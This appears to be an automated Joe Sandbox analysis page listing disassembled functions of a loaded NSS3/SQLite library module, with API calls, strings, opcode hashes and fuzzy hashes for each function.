Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: bd947d56d01f851e9e0d06764d758567f228398a66eff4f870d03386a36f2b30
Instruction ID: ef568f3225464247579732d72f2dcc872e95ab39bc1e14f8fd6b027274a61130
Opcode Fuzzy Hash: bd947d56d01f851e9e0d06764d758567f228398a66eff4f870d03386a36f2b30
Instruction Fuzzy Hash: 14528D71E04218DFDB14CF99C884AADBBB1FF49318F26915AD819AB761D730A846CB84

Function 6C659EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C659ED6

Part of subcall function 6C6514C0: TlsGetValue.KERNEL32 ref: 6C6514E0
Part of subcall function 6C6514C0: EnterCriticalSection.KERNEL32 ref: 6C6514F5
Part of subcall function 6C6514C0: PR_Unlock.NSS3 ref: 6C65150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C659EE4

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C659F38

Part of subcall function 6C65D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C659F0B), ref: 6C65D03B
Part of subcall function 6C65D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C65D04E
Part of subcall function 6C65D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C65D07B
Part of subcall function 6C65D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C65D08E
Part of subcall function 6C65D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C659F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C659F59

Part of subcall function 6C659D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C659C5B), ref: 6C659D82
Part of subcall function 6C659D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C659C5B), ref: 6C659DA9
Part of subcall function 6C659D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C659C5B), ref: 6C659DCE
Part of subcall function 6C659D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C659C5B), ref: 6C659E43

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: d7840be89935c1c1314033f9ef0d6db38e266a23365b346d50fa94da9659a591
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: F511E9E5F042025BE7009F659C00B9B7294AF9535CFB40134E40A87780FB62E579869E

Function 6C70CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C70D086
PR_Malloc.NSS3(00000001), ref: 6C70D0B9
PR_Free.NSS3(?), ref: 6C70D138

Strings

>, xrefs: 6C70CF5B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 4e3f765a807a031e5ca96bfade8a3a8cb44e2c86646ef7f4d3de4109c6075283
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 61D19EE2B407460BFB14497C8EA13EA77D787623B4F584339D1218BBE6E919C843C31A

Function 6C58AC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

0pl, xrefs: 6C58ACC0, 6C58AD22, 6C58AD5E, 6C58AE45
winUnlockReadLock, xrefs: 6C58AE9F
ppl, xrefs: 6C58ADA7
Ppl, xrefs: 6C58ADDB, 6C58ADF5, 6C58AE6A
winUnlock, xrefs: 6C58AE18

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID: 0pl$Ppl$ppl$winUnlock$winUnlockReadLock
API String ID: 0-3997688460
Opcode ID: 8a52051bf07bee6841ff4c8674fbfc3cf6e9e1076b20d6f44c2df0410804fd74
Instruction ID: 46ef5deb1bf307d5ee499701e39334dfed0ea256ce26187abac3ada4b9141932
Opcode Fuzzy Hash: 8a52051bf07bee6841ff4c8674fbfc3cf6e9e1076b20d6f44c2df0410804fd74
Instruction Fuzzy Hash: 617190706092449FDB04DF28D884AABBBF5FF89314F14CA29F99997241E730E985CBD1

Function 6C6AAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 147201e682bebf19868f74799d35895f518992c9d45ff574f05e98d2dabac89d
Instruction ID: 63a9a2acda37db23119cb15a87c57d9f0b08bd84791c387f419d14232b8c67e0
Opcode Fuzzy Hash: 147201e682bebf19868f74799d35895f518992c9d45ff574f05e98d2dabac89d
Instruction Fuzzy Hash: 69F1E171F0115A8BDB04DFA8C9403AAB7F0AB8A319F65823EC915D7750EB709D96CBC4

Function 6C660E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C661052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C661086

Strings

h(fl, xrefs: 6C660E55, 6C660EC4, 6C660F3A, 6C660FA7
h(fl, xrefs: 6C661062, 6C66105D, 6C660F37, 6C661081, 6C661082

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(fl$h(fl
API String ID: 1297977491-928995373
Opcode ID: 6394161235ffe447f42e84f2f483daa07bcd133d81d33c03157f4675d4206b03
Instruction ID: 14fc1b82c36041a660c1a1bf37d55fbc20eaecd9f3745b54944c3f2a0cfc38a0
Opcode Fuzzy Hash: 6394161235ffe447f42e84f2f483daa07bcd133d81d33c03157f4675d4206b03
Instruction Fuzzy Hash: 5AA15071B0125A9FCF08CF9AC8949EEBBB6BF48314B148139E915A7B00D735DC11CB99

Function 6C584DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

0pl, xrefs: 6C584EDE, 6C584F82
winUnlockReadLock, xrefs: 6C585125
ppl, xrefs: 6C584E1C, 6C584E81, 6C584FDE, 6C585047, 6C5850BB, 6C5851A3, 6C58526C
Ppl, xrefs: 6C585019, 6C5850FA, 6C585157, 6C5851DE, 6C5851F2, 6C58520D, 6C585220, 6C5852A2, 6C5852B5

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID: 0pl$Ppl$ppl$winUnlockReadLock
API String ID: 0-2366269471
Opcode ID: f97f7a06372351b9d2d898da7e449af2cfce52b80cf394f7b37ce1a57a15a5d1
Instruction ID: 24497ad8282fc666b092b17329f0a318a8c4a00bae32138a013d66c97d742b95
Opcode Fuzzy Hash: f97f7a06372351b9d2d898da7e449af2cfce52b80cf394f7b37ce1a57a15a5d1
Instruction Fuzzy Hash: 30E13F70A19344CFDB05DF28D88865ABBF0FF89318F51866DF89997351EB309985CB82

Function 6C586F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

*?[, xrefs: 6C587034, 6C587052, 6C587070
noskipscan*, xrefs: 6C587067
sz=[0-9]*, xrefs: 6C587049
unordered*, xrefs: 6C58702B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: d63ba674182d0520d05be2f2570e6654ca6e802ae49409536be39beb3a250325
Instruction ID: baa05b591c084f12d1bca92cdef5f85d1b4f55d723f545c2720be06c6003f451
Opcode Fuzzy Hash: d63ba674182d0520d05be2f2570e6654ca6e802ae49409536be39beb3a250325
Instruction Fuzzy Hash: 34719D32F122318BEB14CA6DCC8039E77A29F81354F290238DC59ABFD5EA719C4687D1

Function 6C5A3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6C5A463F
sqlite_temp_master, xrefs: 6C5A460F
sqlite_, xrefs: 6C5A3FAA, 6C5A4185

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 0da1dcd02b4783a95f25db860edecf2b8374879c4bbbf25f6ddf3ade78541927
Instruction ID: f3514d3dc316dfe0810bc15324ee783f4492899e10e59453b5efe272f519afa6
Opcode Fuzzy Hash: 0da1dcd02b4783a95f25db860edecf2b8374879c4bbbf25f6ddf3ade78541927
Instruction Fuzzy Hash: 6E226D70B491958FD704CAF78CA05BE7BF29F46309B687998C9E19FA42CB25D843C741

Function 6C6DBE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C6DC0B6

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 50df0cbc6d27a4a029c9707bd4543d4b7018e48e421ff0a24054964cdae1e7ea
Instruction ID: d94f40201c2dc0b639766f0013125ffff334db7c5450647bdb04fb2269c44697
Opcode Fuzzy Hash: 50df0cbc6d27a4a029c9707bd4543d4b7018e48e421ff0a24054964cdae1e7ea
Instruction Fuzzy Hash: AA927074A0420ADFDB05DF95C890BAEB7B2FF88308F294168D416ABB91D735EC46CB54

Function 6C573D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C573EA9

Strings

0, xrefs: 6C573DAB

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 7bb2e5191d2193073706cbcb365844f1bbae27cd27d21a67b2af4332daebdf0c
Instruction ID: 82efa26ad83cbce34e8a8bb582efc00a3759e463bf7220fde5e4daf45999ae71
Opcode Fuzzy Hash: 7bb2e5191d2193073706cbcb365844f1bbae27cd27d21a67b2af4332daebdf0c
Instruction Fuzzy Hash: 57512871E490798ADB258A7D8C603FFFBB19B82334F1D432ACDA167AC1D234458987B0

Function 6C61EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C61F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C61F0F9

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: f2e4b9c22604333c44c23e682990cd3e99eca5cd8db008725896f9a0cf4c56ed
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: CD91AF71A0861A8FCB14CF68C8916AEB7F1FF85326F24462DD962A7FC0D730A905CB51

Function 6C642F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C667929), ref: 6C642FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C667929), ref: 6C642FE0

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: a7dd9c84529b04cec6d891b74ca0fdc0a339200d6d83442e83625b05bf67f5d9
Instruction ID: 5887fe2ff86ba67f20cae4a6ad08727e62c7e1a6ab0feb4c1c4e8d69e584e2d8
Opcode Fuzzy Hash: a7dd9c84529b04cec6d891b74ca0fdc0a339200d6d83442e83625b05bf67f5d9
Instruction Fuzzy Hash: 1C512471A049118FD714CE59C880BAA73B1FF46B1AF69C239D9099BB01C731ED46CB89

Function 6C64ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C64EE3D

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: ced5193e51fe043aa3c7bc6ff34b41b16694bcbb69bbdf2fa422040084ea387d
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 9B71D0B2E01B018FD718CF59D8806AAFBF2AF98304F15C62DD85A97B91D730E901CB95

Function 6C575F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C576013

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 29248b7fbf1deb4c64cbbd7d35d73d2b4ff514bbb6cc567b888c3e8528d63def
Instruction ID: 2f3998426fb06117b41e2da32593e26b505c8ed3f6f0bbe366a9b7acb51e1236
Opcode Fuzzy Hash: 29248b7fbf1deb4c64cbbd7d35d73d2b4ff514bbb6cc567b888c3e8528d63def
Instruction Fuzzy Hash: 80C1F4B0B057168BDB24CE15CCA07AAB7B2AF85318F648169D995D7B41DB31ECC1CBB0

Function 6C60A820 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

[[_l, xrefs: 6C60A92D, 6C60A943

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID: [[_l
API String ID: 0-612825606
Opcode ID: 1a163ba048715b28676045d8200af99c08241ac0bca7d2ec47093a62385c2f83
Instruction ID: 3c7adaa68760c5b5c01113a45c5d4fe3400e131556bb5ac39e103fab1319ccc2
Opcode Fuzzy Hash: 1a163ba048715b28676045d8200af99c08241ac0bca7d2ec47093a62385c2f83
Instruction Fuzzy Hash: 8B51AF71B01609CFDB08CF15DA44BAA7BE5FF49348F26806DE819AB752D730D851CB94

Function 6C705E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C705B90: PR_Lock.NSS3(00010000,?,00000000,?,6C5EDF9B), ref: 6C705B9E
Part of subcall function 6C705B90: PR_Unlock.NSS3 ref: 6C705BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C705E23,6C5EE154), ref: 6C705EBF

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 8ab6a7f97b149267d5d7e9d1072c982a2d88dac6935e30809f54474c661381b6
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: E2518CB2E0021A8BDB18CF59C9819AEF7F2FF88314B19457DD815B7745E734A941CBA0

Function 6C6BDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID:
